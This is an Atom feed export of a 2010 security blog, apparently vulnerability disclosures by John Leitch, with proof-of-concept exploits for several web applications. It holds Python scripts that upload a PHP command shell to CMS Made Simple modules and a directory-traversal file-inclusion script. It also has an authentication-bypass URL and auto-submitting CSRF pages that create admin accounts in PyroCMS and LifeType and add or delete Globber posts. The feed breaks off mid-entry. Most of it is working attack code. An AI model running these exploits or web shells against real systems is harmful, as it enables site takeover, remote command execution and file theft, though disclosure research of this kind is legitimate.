<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4928953116864298022</id><updated>2012-02-10T13:10:07.951-08:00</updated><category term='Denial Of Service'/><category term='SugarCRM Community Edition 5.5.2'/><category term='SQL Injection'/><category term='Regular Expressions'/><category term='Open Forum Server'/><category term='directory disclosure'/><category term='AOL'/><category term='penetration testing'/><category term='polymorphic worm'/><category term='Tele Data&apos;s Contact Management Server 0.9'/><category term='xor encryption'/><category term='Type 1 XSS'/><category term='encryption'/><category term='myspace.com'/><category term='CAPTCHA Hack'/><category term='keylogger'/><category term='Arbitrary File Write'/><category term='Scraping'/><category term='friendster.com'/><category term='Denial-of-Service'/><category term='craigslist'/><category term='xss'/><category term='Authentication Bypass'/><category term='Core FTP Server 1.0.343'/><category term='source disclosure'/><category term='Zervit'/><category term='Brekeke PBX 2.4.4.8'/><category term='persistent xss'/><category term='security'/><category term='CAPTCHA'/><category term='stickam.com'/><category term='Cross-site Request Forgery'/><category term='Open Forum Server 2.2 b005'/><category term='RealVNC VNC Server Free Edition 4.1.3'/><category term='Abyss Web Server'/><category term='CAPTCHA Attack'/><category term='Polymorphism'/><category term='Bot'/><category term='html'/><category term='tumblr.com'/><category term='worm'/><category term='Crawler'/><category term='reCAPTCHA Defeat'/><category term='google'/><category term='Python'/><category term='http proxy'/><category term='obfuscation'/><category term='XSRF'/><category term='ddrLPD 1.0'/><category term='Shell Upload'/><category term='javascript'/><category term='directory traversal'/><category term='onehttpd'/><category term='debugging proxy'/><category term='DoS Attack'/><category term='web development'/><category term='hacking'/><category term='The Uniform Server'/><category term='xss worm'/><category term='Zipserver'/><category term='javascript worm'/><category term='vnc server'/><category term='social networking'/><category term='type 2 xss'/><category term='vtiger CRM 5.2.0'/><category term='Home FTP Server 1.10.2.143'/><category term='CAPTCHA Defeat'/><category term='msplinks.com'/><category term='Money'/><category term='Scrape'/><category term='CSRF'/><category term='Local File Inclusion'/><category term='Arbitrary File Upload'/><category term='keystroke logger'/><category term='cross-site scripting'/><category term='http server'/><category term='Arbitrary Upload'/><category term='social engineering'/><category term='Spider'/><category term='programming'/><category term='ASCII'/><category term='reCAPTCHA'/><category term='reCAPTCHA Hack'/><category term='Pacific Timesheet 6.74'/><category term='configuration disclosure'/><category term='vnc'/><category term='Mereo'/><category term='C#'/><category term='jquery'/><category term='phishing'/><category term='Reflected XSS'/><category term='TomatoCart'/><category term='LFI'/><category term='DoS'/><category term='Fortitude HTTP'/><category term='fiddler'/><category term='reCAPTCHA Attack'/><category term='DataTrack System'/><title type='text'>XSS - Cross-Site Scripting</title><subtitle type='html'>And Other Web Related Deception</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>91</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-2871782072016521524</id><published>2010-07-11T18:13:00.001-07:00</published><updated>2010-07-11T18:13:25.058-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Shell Upload'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Arbitrary File Upload'/><title type='text'>CMS Made Simple 1.8 Download Manager 1.4.1 Module Arbitrary Upload</title><content type='html'>An arbitrary upload vulnerability in CMS Made Simple 1.8 Download Manager 1.4.1 Module can be exploited to upload a PHP shell.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="py"&gt;import socket, re&lt;br /&gt;&lt;br /&gt;host = 'localhost'&lt;br /&gt;path = '/cmsms'&lt;br /&gt;port = 80&lt;br /&gt;&lt;br /&gt;def upload_shell():&lt;br /&gt;    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;    s.connect((host, port))&lt;br /&gt;    s.settimeout(8)    &lt;br /&gt;&lt;br /&gt;    s.send('POST ' + path + '/modules/DownloadManager/lib/simple-upload/example.php HTTP/1.1\r\n'&lt;br /&gt;           'Host: localhost\r\n'&lt;br /&gt;           'Proxy-Connection: keep-alive\r\n'&lt;br /&gt;           'User-Agent: x\r\n'&lt;br /&gt;           'Content-Length: 189\r\n'&lt;br /&gt;           'Cache-Control: max-age=0\r\n'&lt;br /&gt;           'Origin: null\r\n'&lt;br /&gt;           'Content-Type: multipart/form-data; boundary=----x\r\n'&lt;br /&gt;           'Accept: text/html\r\n'&lt;br /&gt;           'Accept-Encoding: gzip,deflate,sdch\r\n'&lt;br /&gt;           'Accept-Language: en-US,en;q=0.8\r\n'&lt;br /&gt;           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'&lt;br /&gt;           '\r\n'&lt;br /&gt;           '------x\r\n'&lt;br /&gt;           'Content-Disposition: form-data; name=&amp;quot;file&amp;quot;; filename=&amp;quot;shell.php&amp;quot;\r\n'&lt;br /&gt;           'Content-Type: application/octet-stream\r\n'&lt;br /&gt;           '\r\n'&lt;br /&gt;           '&amp;lt;?php echo \'&amp;lt;pre&amp;gt;\' + system($_GET[\'CMD\']) + \'&amp;lt;/pre&amp;gt;\'; ?&amp;gt;\r\n'&lt;br /&gt;           '------x--\r\n'&lt;br /&gt;           '\r\n')&lt;br /&gt;&lt;br /&gt;    resp = s.recv(8192)&lt;br /&gt;&lt;br /&gt;    http_ok = 'HTTP/1.1 200 OK'&lt;br /&gt;    &lt;br /&gt;    if http_ok not in resp[:len(http_ok)]:&lt;br /&gt;        print 'error uploading shell'&lt;br /&gt;        return&lt;br /&gt;    else: print 'shell uploaded'&lt;br /&gt;&lt;br /&gt;    shell_path = path + '/modules/DownloadManager/lib/simple-upload/'\&lt;br /&gt;        + re.search(u'shell_[^.]+\.php', resp).group(0)&lt;br /&gt;&lt;br /&gt;    s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\&lt;br /&gt;           'Host: ' + host + '\r\n\r\n')&lt;br /&gt;&lt;br /&gt;    if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'        &lt;br /&gt;    else: print 'shell located at http://' + host + shell_path&lt;br /&gt;&lt;br /&gt;upload_shell()&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-2871782072016521524?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/2871782072016521524/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/cms-made-simple-18-download-manager-141.html#comment-form' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2871782072016521524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2871782072016521524'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/cms-made-simple-18-download-manager-141.html' title='CMS Made Simple 1.8 Download Manager 1.4.1 Module Arbitrary Upload'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-2620196989688057277</id><published>2010-07-11T18:12:00.001-07:00</published><updated>2010-07-11T18:12:56.945-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Shell Upload'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Arbitrary File Upload'/><title type='text'>CMS Made Simple 1.8 Antz Toolkit 1.02 Module Arbitrary Upload</title><content type='html'>An arbitrary upload vulnerability in CMS Made Simple 1.8 Antz Toolkit 1.02 Module can be exploited to upload a PHP shell.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="py"&gt;import socket&lt;br /&gt;&lt;br /&gt;host = 'localhost'&lt;br /&gt;path = '/cmsms'&lt;br /&gt;port = 80&lt;br /&gt;&lt;br /&gt;def upload_shell():&lt;br /&gt;    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;    s.connect((host, port))&lt;br /&gt;    s.settimeout(8)    &lt;br /&gt;&lt;br /&gt;    s.send('POST ' + path + '/include.php HTTP/1.1\r\n'&lt;br /&gt;           'Host: localhost\r\n'&lt;br /&gt;           'Proxy-Connection: keep-alive\r\n'&lt;br /&gt;           'User-Agent: x\r\n'&lt;br /&gt;           'Content-Length: 257\r\n'&lt;br /&gt;           'Cache-Control: max-age=0\r\n'&lt;br /&gt;           'Origin: null\r\n'&lt;br /&gt;           'Content-Type: multipart/form-data; boundary=----x\r\n'&lt;br /&gt;           'Accept: text/html\r\n'&lt;br /&gt;           'Accept-Encoding: gzip,deflate,sdch\r\n'&lt;br /&gt;           'Accept-Language: en-US,en;q=0.8\r\n'&lt;br /&gt;           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'&lt;br /&gt;           '\r\n'&lt;br /&gt;           '------x\r\n'&lt;br /&gt;           'Content-Disposition: form-data; name=&amp;quot;antzSeed&amp;quot;\r\n'&lt;br /&gt;           '\r\n'&lt;br /&gt;           '\r\n'&lt;br /&gt;           '------x\r\n'&lt;br /&gt;           'Content-Disposition: form-data; name=&amp;quot;shell_file&amp;quot;; filename=&amp;quot;shell.php&amp;quot;\r\n'&lt;br /&gt;           'Content-Type: application/octet-stream\r\n'&lt;br /&gt;           '\r\n'&lt;br /&gt;           '&amp;lt;?php echo \'&amp;lt;pre&amp;gt;\' + system($_GET[\'CMD\']) + \'&amp;lt;/pre&amp;gt;\'; ?&amp;gt;\r\n'&lt;br /&gt;           '------x--\r\n'&lt;br /&gt;           '\r\n')&lt;br /&gt;&lt;br /&gt;    resp = s.recv(8192)&lt;br /&gt;&lt;br /&gt;    s.close()&lt;br /&gt;&lt;br /&gt;    http_ok = 'HTTP/1.1 200 OK'&lt;br /&gt;    &lt;br /&gt;    if http_ok not in resp[:len(http_ok)]:&lt;br /&gt;        print 'error uploading shell'&lt;br /&gt;        return&lt;br /&gt;    else: print 'shell uploaded'&lt;br /&gt;&lt;br /&gt;    print 'searching or shell'&lt;br /&gt;&lt;br /&gt;    for i in range(0, 9999):&lt;br /&gt;&lt;br /&gt;        shell_path = path + '/modules/antz/tmp/' + str(i) + 'shell.php'&lt;br /&gt;&lt;br /&gt;        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;        s.connect((host, port))&lt;br /&gt;        s.settimeout(8)   &lt;br /&gt;    &lt;br /&gt;        s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\&lt;br /&gt;               'Host: ' + host + '\r\n\r\n')&lt;br /&gt;&lt;br /&gt;        if http_ok in s.recv(8192)[:len(http_ok)]:&lt;br /&gt;            print '\r\nshell located at http://' + host + shell_path&lt;br /&gt;            break&lt;br /&gt;        else:&lt;br /&gt;            print '.',&lt;br /&gt;&lt;br /&gt;upload_shell()&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-2620196989688057277?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/2620196989688057277/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/cms-made-simple-18-antz-toolkit-102.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2620196989688057277'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2620196989688057277'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/cms-made-simple-18-antz-toolkit-102.html' title='CMS Made Simple 1.8 Antz Toolkit 1.02 Module Arbitrary Upload'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-3554063835613821157</id><published>2010-07-11T18:11:00.000-07:00</published><updated>2010-07-11T18:12:10.410-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Local File Inclusion'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>CMS Made Simple 1.8 Local File Inclusion</title><content type='html'>A local file inclusion vulnerability in CMS Made Simple 1.8 can be exploited to include arbitrary files.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="py"&gt;import httplib, urllib&lt;br /&gt;&lt;br /&gt;host = 'localhost'&lt;br /&gt;path = '/cmsms'&lt;br /&gt;&lt;br /&gt;lfi = '../' * 32 + 'windows/win.ini\x00'&lt;br /&gt;&lt;br /&gt;c = httplib.HTTPConnection(host)&lt;br /&gt;c.request('POST', path + '/admin/addbookmark.php',&lt;br /&gt;          urllib.urlencode({ 'default_cms_lang': lfi }),&lt;br /&gt;          { 'Content-type': 'application/x-www-form-urlencoded' })&lt;br /&gt;r = c.getresponse()&lt;br /&gt;&lt;br /&gt;print r.status, r.reason&lt;br /&gt;print r.read()&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-3554063835613821157?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/3554063835613821157/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/cms-made-simple-18-local-file-inclusion.html#comment-form' title='67 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3554063835613821157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3554063835613821157'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/cms-made-simple-18-local-file-inclusion.html' title='CMS Made Simple 1.8 Local File Inclusion'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>67</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-4641059446955145795</id><published>2010-07-11T08:22:00.000-07:00</published><updated>2010-07-11T08:23:11.463-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Authentication Bypass'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Orbis 1.0.2 Authentication Bypass</title><content type='html'>An authentication bypass vulnerability in Orbis 1.0.2 can be exploited to create a new admin.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit&lt;/span&gt;&lt;br /&gt;Several admin related scripts fail to terminate after setting the header location field.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;http://localhost/orbis/admin/admin_users_create.php?nusern=new_admin&amp;amp;nuserp=Password1&amp;amp;nusert=2&amp;amp;nusere=@&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-4641059446955145795?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/4641059446955145795/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/orbis-102-authentication-bypass.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4641059446955145795'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4641059446955145795'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/orbis-102-authentication-bypass.html' title='Orbis 1.0.2 Authentication Bypass'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-1516174846746011684</id><published>2010-07-11T08:14:00.000-07:00</published><updated>2010-07-11T08:15:21.002-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>PyroCMS 0.9.9.1 Cross-site Request Forgery</title><content type='html'>A cross-site request forgery vulnerability in PyroCMS 0.9.9.1 can be exploited to create a new admin.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="html"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;    &amp;lt;body onload=&amp;quot;document.forms[0].submit()&amp;quot;&amp;gt;&lt;br /&gt;        &amp;lt;form method=&amp;quot;POST&amp;quot; action=&amp;quot;http://localhost/pyrocms/index.php/admin/users/create&amp;quot;&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;first_name&amp;quot; value=&amp;quot;a&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;last_name&amp;quot; value=&amp;quot;a&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;email&amp;quot; value=&amp;quot;new_admin@x.com&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;username&amp;quot; value=&amp;quot;new_admin&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;display_name&amp;quot; value=&amp;quot;a&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;group&amp;quot; value=&amp;quot;admin&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;active&amp;quot; value=&amp;quot;1&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; value=&amp;quot;Password1&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;confirm_password&amp;quot; value=&amp;quot;Password1&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;btnAction&amp;quot; value=&amp;quot;save&amp;quot; /&amp;gt;&lt;br /&gt;        &amp;lt;/form&amp;gt;&lt;br /&gt;    &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-1516174846746011684?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/1516174846746011684/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/pyrocms-0991-cross-site-request-forgery.html#comment-form' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1516174846746011684'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1516174846746011684'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/pyrocms-0991-cross-site-request-forgery.html' title='PyroCMS 0.9.9.1 Cross-site Request Forgery'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-1820413027812381655</id><published>2010-07-11T08:12:00.001-07:00</published><updated>2010-07-11T08:12:40.808-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>LifeType 1.2.10 Cross-site Request Forgery</title><content type='html'>A cross-site request forgery vulnerability in LifeType 1.2.10 can be exploited to create a new admin.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="html"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;    &amp;lt;body&amp;gt;&lt;br /&gt;        &amp;lt;img src=&amp;quot;http://localhost/lifetype-1.2.10/admin.php?userName=newadmin&amp;amp;userFullName=&amp;amp;newUserPassword=Password1&amp;amp;userEmail=a%40a.com&amp;amp;userStatus=1&amp;amp;blogId=1&amp;amp;blogName=asdfasdfs&amp;amp;userPermissions%5B49%5D=49&amp;amp;userPermissions%5B58%5D=58&amp;amp;userPermissions%5B52%5D=52&amp;amp;userPermissions%5B43%5D=43&amp;amp;userPermissions%5B46%5D=46&amp;amp;userPermissions%5B55%5D=55&amp;amp;userPermissions%5B39%5D=39&amp;amp;userPermissions%5B41%5D=41&amp;amp;userPermissions%5B1%5D=1&amp;amp;userPermissions%5B66%5D=66&amp;amp;userPermissions%5B65%5D=65&amp;amp;userPermissions%5B51%5D=51&amp;amp;userPermissions%5B60%5D=60&amp;amp;userPermissions%5B62%5D=62&amp;amp;userPermissions%5B54%5D=54&amp;amp;userPermissions%5B45%5D=45&amp;amp;userPermissions%5B64%5D=64&amp;amp;userPermissions%5B48%5D=48&amp;amp;userPermissions%5B57%5D=57&amp;amp;userPermissions%5B42%5D=42&amp;amp;userPermissions%5B50%5D=50&amp;amp;userPermissions%5B59%5D=59&amp;amp;userPermissions%5B61%5D=61&amp;amp;userPermissions%5B53%5D=53&amp;amp;userPermissions%5B44%5D=44&amp;amp;userPermissions%5B63%5D=63&amp;amp;userPermissions%5B47%5D=47&amp;amp;userPermissions%5B56%5D=56&amp;amp;userPermissions%5B40%5D=40&amp;amp;Add+User=Add&amp;amp;op=addUser&amp;quot; /&amp;gt;&lt;br /&gt;    &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-1820413027812381655?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/1820413027812381655/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/lifetype-1210-cross-site-request.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1820413027812381655'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1820413027812381655'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/lifetype-1210-cross-site-request.html' title='LifeType 1.2.10 Cross-site Request Forgery'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-2944701502132382683</id><published>2010-07-11T08:08:00.000-07:00</published><updated>2010-07-11T08:09:33.306-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Globber 1.4 Cross-site Request Forgery</title><content type='html'>A cross-site request forgery vulnerability in Globber can be exploited&lt;br /&gt;to add and delete blog posts.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="html"&gt;&amp;lt;!-- Add (note that blog also must be &amp;quot;rebuilt&amp;quot;) --&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;    &amp;lt;body onload=&amp;quot;document.forms[0].submit()&amp;quot;&amp;gt;&lt;br /&gt;        &amp;lt;form method=&amp;quot;POST&amp;quot; action=&amp;quot;http://localhost/globber/admin.php?task=edit&amp;amp;c=Misc&amp;amp;a=new-article&amp;quot;&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;title&amp;quot; value=&amp;quot;New Article&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;date&amp;quot; value=&amp;quot;06-07-2010 10:16 pm&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;tags&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&lt;br /&gt;            &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;content&amp;quot; value=&amp;quot;&amp;amp;lt;script&amp;amp;gt;alert(0)&amp;amp;lt;/script&amp;amp;gt;&amp;quot; /&amp;gt;&lt;br /&gt;        &amp;lt;/form&amp;gt;&lt;br /&gt;    &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!-- Delete --&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;    &amp;lt;body&amp;gt;&lt;br /&gt;        &amp;lt;img src=&amp;quot;http://localhost/globber/admin.php?task=articles&amp;amp;delc=Misc&amp;amp;dela=first-post&amp;quot; /&amp;gt;&lt;br /&gt;    &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-2944701502132382683?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/2944701502132382683/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/globber-14-cross-site-request-forgery.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2944701502132382683'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2944701502132382683'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/07/globber-14-cross-site-request-forgery.html' title='Globber 1.4 Cross-site Request Forgery'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-6998380121758370125</id><published>2010-07-11T08:06:00.000-07:00</published><updated>2010-07-11T08:07:15.433-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>InterPhoto 2.3.0 Cross-site Request Forgery</title><content type='html'>A cross-site request forgery vulnerability in InterPhoto 2.3.0 can be exploited to change a user's password.&lt;br /&gt;&lt;br /&gt;&lt;span 